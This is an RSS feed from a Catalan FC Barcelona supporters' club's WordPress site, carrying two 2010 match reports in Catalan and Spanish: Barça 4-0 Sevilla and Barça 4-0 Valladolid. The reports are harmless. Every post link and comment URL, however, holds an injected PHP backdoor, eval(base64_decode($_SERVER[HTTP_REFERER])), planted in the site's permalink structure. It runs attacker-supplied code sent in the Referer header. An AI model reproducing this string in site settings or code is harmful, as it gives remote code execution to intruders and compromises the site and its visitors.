<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>Penya Barcelonista de Calonge - Sant Antoni</title>
	<atom:link href="http://pbcalonge-stantoni.cat/feed/" rel="self" type="application/rss+xml" />
	<link>http://pbcalonge-stantoni.cat</link>
	<description></description>
	<pubDate>Sun, 22 Aug 2010 04:45:43 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.5.1</generator>
	<language>en</language>
			<item>
		<title>BARÇA 4-0 SEVILLA</title>
		<link>http://pbcalonge-stantoni.cat/2010/08/22/barca-4-0-sevilla/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://pbcalonge-stantoni.cat/2010/08/22/barca-4-0-sevilla/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 22 Aug 2010 04:45:43 +0000</pubDate>
		<dc:creator>Lluis</dc:creator>
		
		<category><![CDATA[Penya]]></category>

		<guid isPermaLink="false">http://pbcalonge-stantoni.cat/?p=88</guid>
		<description><![CDATA[El Rey de las Supercopas 

24 minuts va durar la tornada de la Supercopa. Tot i que encara hi va haver més gols, en aquest just moment el partit ja tenia un clar vencedor. El Barça se sabia campió de la Supercopa amb el 2-0 i el Sevilla no estava molt per la tasca d&#8217;aturar [...]]]></description>
			<content:encoded><![CDATA[<p><span style="font-family: &quot;Times New Roman&quot;; font-size: 16pt; mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: ES; mso-fareast-language: ES; mso-bidi-language: AR-SA;"><strong>El Rey de las Supercopas </strong></span></p>
<p><span style="font-family: &quot;Times New Roman&quot;; font-size: 16pt; mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: ES; mso-fareast-language: ES; mso-bidi-language: AR-SA;"></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;">24 minuts va durar la tornada de la Supercopa. Tot i que encara hi va haver més gols, en aquest just moment el partit ja tenia un clar vencedor. El <em><strong>Barça</strong></em> se sabia campió de la Supercopa amb el 2-0 i el Sevilla no estava molt per la tasca d&#8217;aturar els atacs blaugrana, ni d&#8217;intentar anotar el gol que iguala el resultat. La segona meitat només va servir perquè Messi completés el seu primer hat trick de la temporada i posés el definitiu 4-0 al marcador. </span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;">El retorn dels internacionals espanyols a l&#8217;onze del <em><strong>Barça</strong></em> li va donar una cara totalment nova. A ells i el Sevilla que va semblar espantat i sense opcions, pensant més en la tornada de la prèvia de la Champions (dimarts que ve davant el Braga) que en la possibilitat de guanyar un títol. Venien amb un avantatge de dos gols i van marxar amb un desavantatge de dos. El seu primer objectiu era no encaixar tants i Konko, un sevillista, es va encarregar de no complir-quan va marcar en pròpia meta. Poc després Xavi va demostrar que les pretemporades no existeixen i va posar una passada al buit que Messi es va encarregar de sumar al electrònic. </span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;">Amb el resultat en contra els d&#8217;Antonio Álvarez no funcionaven en cap de les seves línies i resaven per anar com més aviat als vestidors i intentar ordenar. Però el descans no va arribar a temps. Aquesta vegada va ser Dani Alves el que va assistir, de nou Messi, perquè l&#8217;argentí marqués el seu segon gol. El partit, a falta de més de 45 minuts estava resolt. El Sevilla estava a un sol gol d&#8217;empatar la Supercopa i completar una nit de remuntada després remuntada, però no era un d&#8217;aquests dies </span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;">La segona meitat va permetre fer canvis als dos equips i veure una trobada molt més relaxat, que només es va animar amb el debut de Villa. L&#8217;asturià, en l&#8217;últim minut de partit va connectar amb Andrés Iniesta, i aquest amb Messi perquè l&#8217;argentí anotés el gol que tancava la nit. La trobada va oferir també ovacions als mundialistes espanyols amb especial atenció al golejador de la final, el mateix que va donar el pas a Messi en l&#8217;últim gol. </span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;">El <em><strong>Barça</strong></em> comença la campanya com va acabar l&#8217;anterior, guanyant. El mateix val per a Xavi, Iniesta, Piqué, Villa, Valdés, Busquets i Puyol, que va ser l&#8217;únic campió del món que avui no va tenir minuts. Un cop més el joc combinatiu va ser el seu estil, no permetent tenir la pilota al contrari. Això ho va aconseguir tot i no comptar amb Villa Des de l&#8217;inici i sense treure Ibrahimovic al camp. El seu lloc a punta el va ocupar Bojan, que va disposar durant la trobada de diverses ocasions. </span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;">Un magistral Messi li va donar al seu equip la victòria, amb la qual Guardiola aconsegueix el seu vuitè títol en dues temporades i el que va de la tercera. Rosell per la seva banda aconsegueix el seu primer trofeu com a president blaugrana en la seva estrena a la llotja. Gràcies a aquest triomf el <em><strong>Barça</strong></em> es converteix en l&#8217;equip amb més Supercopes, nou, una més que el Real Madrid.</span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="font-family: &quot;Times New Roman&quot;; font-size: 12pt; mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: ES; mso-fareast-language: ES; mso-bidi-language: AR-SA;"><strong><em>Lluis Gustav:.</em></strong></span></span></p>
<p></span> </p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="font-size: 18pt; mso-ansi-language: ES;"><strong>BARCELONA FC 4-0 SEVILLA</strong></span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span style="font-size: 18pt; mso-ansi-language: ES;"><span style="font-family: &quot;Times New Roman&quot;; font-size: 16pt; mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: ES; mso-fareast-language: ES; mso-bidi-language: AR-SA;"><strong><em>El Rey de las Supercopas</em></strong></span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span style="font-size: 18pt; mso-ansi-language: ES;"><span style="font-size: 14pt; mso-ansi-language: ES;">24 minutos duró la vuelta de la Supercopa. Aunque todavía hubo más goles, en ese justo momento el partido ya tenía un claro vencedor. El <strong><em>Barcelona</em></strong> se sabía campeón de la Supercopa con el 2-0 y el Sevilla no estaba muy por la labor de detener los ataques azulgrana, ni de intentar anotar el gol que igualase el resultado. La segunda mitad sólo sirvió para que Messi completase su primer hat trick de la temporada y pusiese el definitivo 4-0 en el marcador.</span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span style="font-size: 18pt; mso-ansi-language: ES;"><span style="font-size: 14pt; mso-ansi-language: ES;">La vuelta de los internacionales españoles al once del <em><strong>Barcelona</strong></em> le dio una cara totalmente nueva. A ellos y al Sevilla que pareció asustado y sin opciones, pensando más en la vuelta de la previa de la Champions (próximo martes frente al Braga) que en la posibilidad de ganar un título. Venían con una ventaja de dos goles y se marcharon con una desventaja de otros dos. Su primer objetivo era no encajar tantos y Konko, un sevillista, se encargó de no cumplirlo cuando marcó en propia meta. Poco después Xavi demostró que las pretemporadas no existen y puso un pase al hueco que Messi se encargó de sumar al electrónico.</span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span style="font-size: 18pt; mso-ansi-language: ES;"><span style="font-size: 14pt; mso-ansi-language: ES;">Con el resultado en contra los de Antonio Álvarez no funcionaban en ninguna de sus líneas y rezaban para ir cuanto antes a los vestuarios e intentar ordenarse. Pero el descanso no llegó a tiempo. Esta vez fue Dani Alves el que asistió, de nuevo a Messi, para que el argentino marcase su segundo tanto. El partido, a falta de más de 45 minutos estaba resuelto. El <strong>Sevilla</strong> estaba a un solo gol de empatar la Supercopa y completar una noche de remontada tras remontada, pero no era uno de esos días</span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span style="font-size: 18pt; mso-ansi-language: ES;"><span style="font-size: 14pt; mso-ansi-language: ES;">La segunda mitad permitió realizar cambios a ambos equipos y ver un encuentro mucho más relajado, que sólo se animó con el debut de Villa. El asturiano, en el último minuto de partido conectó con Andrés Iniesta, y éste con Messi para que el argentino anotase el gol que cerraba la noche. El encuentro ofreció también ovaciones a los mundialistas españoles con especial atención al goleador de la final, el mismo que dio el pase a Messi en el último gol.</span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span style="font-size: 18pt; mso-ansi-language: ES;"><span style="font-size: 14pt; mso-ansi-language: ES;">El <strong><em>Barcelona</em></strong> empieza la campaña como acabó la anterior, ganando. Lo mismo vale para Xavi, Iniesta, Piqué, Villa, Valdés, Busquets y Puyol, que fue el único campeón del mundo que hoy no tuvo minutos. Una vez más el juego combinativo fue su estilo, no permitiendo tener el balón al contrario. Esto lo logró a pesar de no contar con Villa desde el inicio y sin sacar a Ibrahimovic al campo. Su lugar en punta lo ocupó Bojan, que dispuso durante el encuentro de varias ocasiones.</span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span style="font-size: 18pt; mso-ansi-language: ES;"><span style="font-family: &quot;Times New Roman&quot;; font-size: 14pt; mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: ES; mso-fareast-language: ES; mso-bidi-language: AR-SA;">Un magistral Messi le dio a su equipo la victoria, con la que Guardiola logra su octavo título en dos temporadas y lo que va de la tercera. Rosell por su parte consigue su primer trofeo como presidente blaugrana en su estreno en el palco. Gracias a este triunfo el <em><strong>Barcelona</strong></em> se convierte en el equipo con más Supercopas, nueve, una más que el <strong>Real Madrid</strong>.</span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span style="font-size: 18pt; mso-ansi-language: ES;"><span style="font-family: &quot;Times New Roman&quot;; font-size: 14pt; mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: ES; mso-fareast-language: ES; mso-bidi-language: AR-SA;"><span style="font-family: &quot;Times New Roman&quot;; font-size: 12pt; mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: ES; mso-fareast-language: ES; mso-bidi-language: AR-SA;"><em><strong>Luis Gustavo:.</strong></em></span></span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"> </p>
]]></content:encoded>
			<wfw:commentRss>http://pbcalonge-stantoni.cat/2010/08/22/barca-4-0-sevilla/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>S0M0S CAMPIONS ALTRA VEGADA</title>
		<link>http://pbcalonge-stantoni.cat/2010/05/17/s0m0s-campions-altra-vegada/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://pbcalonge-stantoni.cat/2010/05/17/s0m0s-campions-altra-vegada/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 17 May 2010 08:43:03 +0000</pubDate>
		<dc:creator>Lluis</dc:creator>
		
		<category><![CDATA[Penya]]></category>

		<guid isPermaLink="false">http://pbcalonge-stantoni.cat/?p=87</guid>
		<description><![CDATA[BARÇA 4-0 VALLADOLID
El Barça revalida amb tot mereixement el títol de Lliga. Messi, amb dos gols, arriba als 34 i guanya el Pitxitxi i la Bota d&#8217;Or
 
Ho va dir (Guardiola) de reüll. Va ser un missatge embotellament que no calia agitar ni obrir abans que Pérez Lasa assenyalés el final del partit davant el desnonat [...]]]></description>
			<content:encoded><![CDATA[<h4 style="margin: 0cm 0cm 0pt;"><span style="font-family: Times New Roman; font-size: large;">BARÇA 4-0 VALLADOLID</span></h4>
<p class="MsoBodyText" style="margin: 0cm 0cm 0pt;"><span style="font-family: Times New Roman; font-size: large;">El Barça revalida amb tot mereixement el títol de Lliga. Messi, amb dos gols, arriba als 34 i guanya el Pitxitxi i la Bota d&#8217;Or</span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-bidi-font-size: 12.0pt;"><span style="font-family: Times New Roman;"> </span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-bidi-font-size: 12.0pt;"><span style="font-family: Times New Roman;">Ho va dir (Guardiola) de reüll. Va ser un missatge embotellament que no calia agitar ni obrir abans que Pérez Lasa assenyalés el final del partit davant el desnonat Valladolid. Segons Guardiola, guanyar la Lliga serviria el <em><strong>Barça</strong></em> per donar sentit a la temporada. Una temporada en què la Copa i la Champions es van quedar contra pronòstic en el camí, ja que el <em><strong>Barça</strong></em> no va ser inferior als seus botxins. A la Lliga, els blaugrana també han estat els millors i en aquest cas, a més, campions.</span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-bidi-font-size: 12.0pt;"><span style="font-family: Times New Roman;">Els 99 punts, un altre rècord dels blaugrana, afegeixen valor a aquesta Lliga. </span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-bidi-font-size: 12.0pt;"><span style="font-family: Times New Roman;">Tres títols la temporada passada i quatre la que ahir va acabar. El <em><strong>Barça</strong></em> de Guardiola incrementa el seu impressionant palmarès en tornar a guanyar la Lliga, la vintena en la història del club català i la desena en els darrers vint anys. A diferència de les dues de Tenerife, el <em><strong>Barça</strong></em> depenia de si mateix, però per si de cas el Madrid es va entossudir a facilitar les coses amb el seu trist empat a Màlaga.</span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-bidi-font-size: 12.0pt;"><span style="font-family: Times New Roman;">Després d&#8217;un triplet, el <em><strong>Barça</strong></em> potser li sabrà a poc guanyar només la Lliga, encara que no si es valora com l&#8217;ha guanyat. Amb rècord absolut de puntuació (99), 98 gols a favor, 24 en contra i una única derrota. La Lliga semblava sentenciada després del clàssic del Bernabéu, però el Madrid es va entossudir a disputar fins a l&#8217;última jornada i va obligar el <em><strong>Barça</strong></em> a treure el millor de si mateix.</span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-bidi-font-size: 12.0pt;"><span style="font-family: Times New Roman;">Com és habitual, i l&#8217;últim partit de la temporada no havia de ser l&#8217;excepció, Guardiola va alliçonar el seu equip i també a la grada. Les consignes: guanyar un partit més per ser els millors i guanyar-lo abans de celebrar-ho. El tècnic blaugrana va dir de Climent que no és defensiu, sinó directe. És a dir, res partidari de jugar la pilota, sinó de ficar ràpida a l&#8217;àrea. </span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-bidi-font-size: 12.0pt;"><span style="font-family: Times New Roman;">Potser per això, perquè el Valladolid renunciaria a qualsevol tipus de transició defensa-atac, Pep va poder variar lleugerament el seu dibuix en absència de Xavi i amb Iniesta encara en la safata de sortida. Però no ho va fer. Va confiar el centre del camp a Busquets, Touré i Keita, mentre que el trident de la Masia Pedro-Messi-Bojan va tornar a relegar a la banqueta Ibrahimovic, el fitxatge estrella.</span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-bidi-font-size: 12.0pt;"><span style="font-family: Times New Roman;"><em><strong>Va prémer el Valladolid</strong></em></span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-bidi-font-size: 12.0pt;"><span style="font-family: Times New Roman;">Però va sorprendre, i per bé, la sortida del Valladolid, que va pressionar el <em><strong>Barça</strong></em> en la seva línia de tres quarts i va provocar una cadena d&#8217;imprecisions que va arribar fins Valdés. De fet, una indecisió del porter en una cessió de Piqué va estar a punt de costar-li un ensurt, tot i que Puyol, qui si no, va evitar el gol de Manucho a porta buida. Orfe de Xavi, el <em><strong>Barça</strong></em> no aconseguia barrejar el seu futbol. Ni Busquets, ni Touré, ni Keita maniobres amb desimboltura. No trobaven línies de passada i tampoc els de dalt li oferien alternatives. Prova d&#8217;això és que els dos africans van buscar porteria amb xuts llunyans.</span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-bidi-font-size: 12.0pt;"><span style="font-family: Times New Roman;">Ja fos pel desgast físic que suposa córrer darrere de la pilota o perquè el <em><strong>Barça</strong></em> va trobar en la pausa el seu millor tranquil.litzant, l&#8217;entramat del Valladolid va ser poc a poc perdent força i va saltar pels aires quan un mal rebuig de Luis Prieto a centre a cap part de Pere va provocar el 1-0. El gol no només va desmoralitzar als blanquivioletas, sinó que va acabar per temperar els nervis del <em><strong>Barça</strong></em>. Quatre minuts després, una bona arrencada de Messi va permetre a Pere encarrilar el partit i el títol. El Madrid encara perdia a Màlaga i el Camp Nou va començar tímidament a celebrar.</span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-bidi-font-size: 12.0pt;"><span style="font-family: Times New Roman;">Recarregades les ampolles d&#8217;oxigen i sabedor que la seva salvació passava si o si per guanyar al Camp Nou, el Valladolid va repetir guió en l&#8217;inici de la segona part. La diferència és que el <em><strong>Barça</strong></em> ja no tenia motius per dubtar i el seu centre del camp es va imposar per aixafament. El tercer gol, obra de Messi després d&#8217;una magnífica internada de Touré, va desencadenar, ara sí, l&#8217;eufòria a les grades. L&#8217;argentí va repetir en el quart i va incrementar fins a 34 la seva xifra golejadora. Pitxitxi i Bota d&#8217;Or, el seu doblet va servir per rubricar una temporada en què, a diferència de la passada, la incidència del 10 ha estat decisiva.</span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-bidi-font-size: 12.0pt;"><span style="font-family: Times New Roman;">Amb tot resolt, l&#8217;afició va reclamar a Iniesta, però abans Guardiola va donar entrada a Henry i Ibra, dos cracs rendits al talent i l&#8217;entusiasme de Pere i Bojan. El canari, que va deixar el seu lloc a Iniesta, acaba amb 12 gols i moltes paperetes per anar al Mundial. Pérez Lasa va xiular i el títol de Lliga va donar sentit a una altra gran temporada. L&#8217;era Guardiola continua.</span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-bidi-font-size: 12.0pt;"><span style="font-family: Times New Roman;">Fitxa tècnica</span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-bidi-font-size: 12.0pt;"><span style="font-family: Times New Roman;"><em><strong>Barça</strong></em> (4): Valdés; Alves (Ibrahimovic, m. 79), Piqué, Puyol, Abidal; Touré, Busquets, Keita, Pere (Iniesta, m. 86), Messi i Bojan (Henry, m. 77).</span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-bidi-font-size: 12.0pt;"><span style="font-family: Times New Roman;"><strong>Valladolid</strong> (0): Jaume; Pedro López, Luis Prieto (Font, m. 61), Arzo, Sereno; Sesma (Nauzet, m. 46), Baraja, Pelé, Barragán, Diego Costa i Manucho (Keko, m. 78).</span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-bidi-font-size: 12.0pt;"><span style="font-family: Times New Roman;">Gols: 1-0. M. 26. Luis Prieto marca en pròpia porta en intentar aclarir una passada de Pere sense destinatari possible. 2-0. M. 30. Arrencada de Messi, que, després tirar una paret amb Touré, habilita Pere, que bat a Jaume amb la dreta i per sota de les cames. 3-0. M. 62. Gran internada de Touré, que assisteix a Messi perquè aquest marqui a porta buida. 4-0. M. 75. Messi se&#8217;n va en carrera i bat Jaume en la seva sortida.</span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-bidi-font-size: 12.0pt;"><span style="font-family: Times New Roman;">Àrbitre: Pérez Lasa. Groga a Barragán, Manucho, Baraja i Alves.</span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-bidi-font-size: 12.0pt;"><span style="font-family: Times New Roman;">Camp Nou: 98.083 espectadors</span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-bidi-font-size: 12.0pt;"><span style="font-family: Times New Roman;"> </span></span></p>
<p class="MsoHeading7" style="margin: 0cm 0cm 0pt;"><span style="font-family: Times New Roman; font-size: x-large;"><em><strong>S0M0S CAMPEONES OTRA VEZ</strong></em></span></p>
<h6><span style="font-family: Times New Roman; font-size: large;">BARCELONA 4 – 0 VALLADOLID</span></h6>
<h6><span style="font-family: Times New Roman; font-size: large;"><em>El Barcelona revalida con todo merecimiento el título de Liga. Messi, con otros dos goles, alcanza los 34 y gana el Pichichi y la Bota de Oro</em>.</span></h6>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-bidi-font-size: 12.0pt;"><span style="font-family: Times New Roman;"> </span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-bidi-font-size: 12.0pt;"><span style="font-family: Times New Roman;">Lo dijo (Guardiola) de soslayo. Fue un mensaje embotellado que no había que agitar ni abrir antes de que Pérez Lasa señalara el final del partido ante el desahuciado Valladolid. Según Guardiola, ganar la Liga serviría al <em><strong>Barcelona</strong></em> para dar sentido a la temporada. Una temporada en la que la Copa y la Champions se quedaron contra pronóstico en el camino, pues el <em><strong>Barcelona</strong></em> no fue inferior a sus verdugos. En la Liga, los azulgrana también han sido los mejores y en este caso, además, campeones.</span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-bidi-font-size: 12.0pt;"><span style="font-family: Times New Roman;"><em>Los 99 puntos, otro récord de los azulgrana, añaden valor a esta Liga</em>.</span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-bidi-font-size: 12.0pt;"><span style="font-family: Times New Roman;">Tres títulos la temporada pasada y cuatro la que ayer terminó. El <em><strong>Barcelona</strong></em> de Guardiola incrementa su impresionante palmarés al volver a ganar la Liga, la vigésima en la historia del club catalán y la décima en los últimos veinte años. A diferencia de las dos de Tenerife, el <em><strong>Barcelona</strong></em> dependía de sí mismo, pero por si acaso el Madrid se empeñó en facilitarle las cosas con su triste empate en Málaga.</span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-bidi-font-size: 12.0pt;"><span style="font-family: Times New Roman;">Después de un triplete, al <em><strong>Barcelona</strong></em> quizás le sabrá a poco ganar sólo la Liga, aunque no si se valora cómo la ha ganado. Con récord absoluto de puntuación (99), 98 goles a favor, 24 en contra y una única derrota. La Liga parecía sentenciada tras el clásico del Bernabéu, pero el Madrid se empeñó en disputarla hasta la última jornada y obligó al <em><strong>Barcelona</strong></em> a sacar lo mejor de sí mismo.</span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-bidi-font-size: 12.0pt;"><span style="font-family: Times New Roman;">Como es habitual, y el último partido de la temporada no iba a ser la excepción, Guardiola aleccionó a su equipo y también a la grada. Las consignas: ganar un partido más para ser los mejores y ganarlo antes de celebrarlo. El técnico azulgrana dijo de Clemente que no es defensivo, sino directo. Es decir, nada partidario de jugar la pelota, sino de meterla rápida en el área.</span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-bidi-font-size: 12.0pt;"><span style="font-family: Times New Roman;">Tal vez por ello, porque el Valladolid renunciaría a cualquier tipo de transición defensa-ataque, Pep pudo variar ligeramente su dibujo en ausencia de Xavi y con Iniesta aún en la bandeja de salida. Pero no lo hizo. Confió el centro del campo a Busquets, Touré y Keita, mientras que el tridente de La Masia Pedro-Messi-Bojan volvió a relegar al banquillo a Ibrahimovic, el fichaje estrella.</span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-bidi-font-size: 12.0pt;"><span style="font-family: Times New Roman;"><em><strong>Apretó el Valladolid</strong></em></span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-bidi-font-size: 12.0pt;"><span style="font-family: Times New Roman;">Pero sorprendió, y para bien, la salida del Valladolid, que apretó al <em><strong>Barcelona</strong></em> en su línea de tres cuartos y provocó una cadena de imprecisiones que llegó hasta Valdés. De hecho, una indecisión del portero en una cesión de Piqué a punto estuvo de costarle un susto, aunque Puyol, quién si no, evitó el gol de Manucho a puerta vacía. Huérfano de Xavi, el <em><strong>Barcelona</strong></em> no lograba mezclar su fútbol. Ni Busquets, ni Touré, ni Keita maniobraban con soltura. No encontraban líneas de pase y tampoco los de arriba le ofrecían alternativas. Prueba de ello es que los dos africanos buscaron portería con tiros lejanos.</span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-bidi-font-size: 12.0pt;"><span style="font-family: Times New Roman;">Ya fuera por el desgaste físico que supone correr detrás del balón o porque el <em><strong>Barcelona</strong></em> encontró en la pausa su mejor tranquilizante, el entramado del Valladolid fue poco a poco perdiendo fuelle y saltó por los aires cuando un mal despeje de Luis Prieto a centro a ninguna parte de Pedro provocó el 1-0. El gol no sólo desmoralizó a los blanquivioletas, sino que terminó por templar los nervios del <em><strong>Barcelona</strong></em>. Cuatro minutos después, una buena arrancada de Messi permitió a Pedro encarrilar el partido y el título. El Madrid aún perdía en Málaga y el Camp Nou empezó tímidamente a festejarlo.</span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-bidi-font-size: 12.0pt;"><span style="font-family: Times New Roman;">Recargadas las botellas de oxígeno y sabedor de que su salvación pasaba sí o sí por ganar en el Camp Nou, el Valladolid repitió guión en el inicio de la segunda parte. La diferencia es que el <em><strong>Barcelona</strong></em> ya no tenía motivos para dudar y su centro del campo se impuso por aplastamiento. El tercer gol, obra de Messi tras una magnífica internada de Touré, desató, ahora sí, la euforia en las gradas. El argentino repitió en el cuarto e incrementó hasta 34 su cifra goleadora. Pichichi y Bota de Oro, su doblete sirvió para rubricar una temporada en la que, a diferencia de la pasada, la incidencia del 10 ha sido decisiva.</span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-bidi-font-size: 12.0pt;"><span style="font-family: Times New Roman;">Con todo resuelto, la afición reclamó a Iniesta, pero antes Guardiola dio entrada a Henry e Ibra, dos cracks rendidos al talento y el entusiasmo de Pedro y Bojan. El canario, que dejó su puesto a Iniesta, acaba con 12 goles y muchas papeletas para ir al Mundial. Pérez Lasa pitó y el título de Liga dio sentido a otra gran temporada. La era Guardiola continúa.</span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-bidi-font-size: 12.0pt;"><span style="font-family: Times New Roman;">Ficha técnica</span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-bidi-font-size: 12.0pt;"><span style="font-family: Times New Roman;"><em><strong>Barcelona</strong></em> (4): Valdés; Alves (Ibrahimovic, m. 79), Piqué, Puyol, Abidal; Touré, Busquets, Keita; Pedro (Iniesta, m. 86), Messi y Bojan (Henry, m. 77).</span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-bidi-font-size: 12.0pt;"><span style="font-family: Times New Roman;">Valladolid (0): Jacobo; Pedro López, Luis Prieto (Font, m. 61), Arzo, Sereno; Sesma (Nauzet, m. 46), Baraja, Pelé, Barragán; Diego Costa y Manucho (Keko, m. 78).</span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-family: Times New Roman;"><span style="text-decoration: underline;"><span style="font-size: 14pt; mso-bidi-font-size: 12.0pt;">Goles</span></span><span style="font-size: 14pt; mso-bidi-font-size: 12.0pt;">: 1-0. M. 26. Luis Prieto marca en propia puerta al intentar despejar un pase de Pedro sin destinatario posible. 2-0. M. 30. Arrancada de Messi, quien, tras tirar una pared con Touré, habilita a Pedro, que bate a Jacobo con la derecha y por debajo de las piernas. 3-0. M. 62. Gran internada de Touré, que asiste a Messi para que éste marque a puerta vacía. 4-0. M. 75. Messi se marcha en carrera y bate a Jacobo en su salida.</span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-family: Times New Roman;"><span style="text-decoration: underline;"><span style="font-size: 14pt; mso-bidi-font-size: 12.0pt;">Árbitro</span></span><span style="font-size: 14pt; mso-bidi-font-size: 12.0pt;">: Pérez Lasa. Amarilla a Barragán, Manucho, Baraja y Alves.</span></span></p>
